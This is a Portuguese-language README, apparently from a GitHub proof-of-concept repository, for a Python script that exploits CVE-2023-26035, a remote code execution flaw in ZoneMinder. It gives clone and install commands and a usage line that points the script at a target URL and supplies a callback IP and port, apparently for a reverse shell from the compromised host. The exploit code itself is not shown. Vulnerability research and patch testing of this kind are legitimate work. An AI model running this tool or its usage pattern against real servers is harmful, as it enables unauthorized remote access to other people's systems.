m3m0o/zoneminder-snapshots-rce-pocEste é um script escrito em Python que permite a exploração da falha de segurança do Zoneminder descrita na CVE-2023-26035.
Este é um script escrito em Python que permite a exploração da falha de segurança do Zoneminder descrita em CVE-2023-26035. O sistema é vulnerável nas versões anteriores a 1.36.33 e 1.37.33.
Clone o repositório para sua máquina e instale as dependências usando pip (recomenda-se usar virtualenv para criar um ambiente e separar essas instalações das instalações globais)
git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc
cd zoneminder-snapshots-rce-poc
pip install -r requirements.txt
O script precisa da URL alvo com o caminho raiz do Zoneminder (como http://example.com/zm, http://example.com ou http://example.com/zoneminder), o IP ou domínio para a máquina alvo se conectar e a porta para a máquina alvo se conectar. Aqui está um exemplo:
python3 main.py -u http://zoneminder.target:8000 -i 10.10.14.56 -p 443
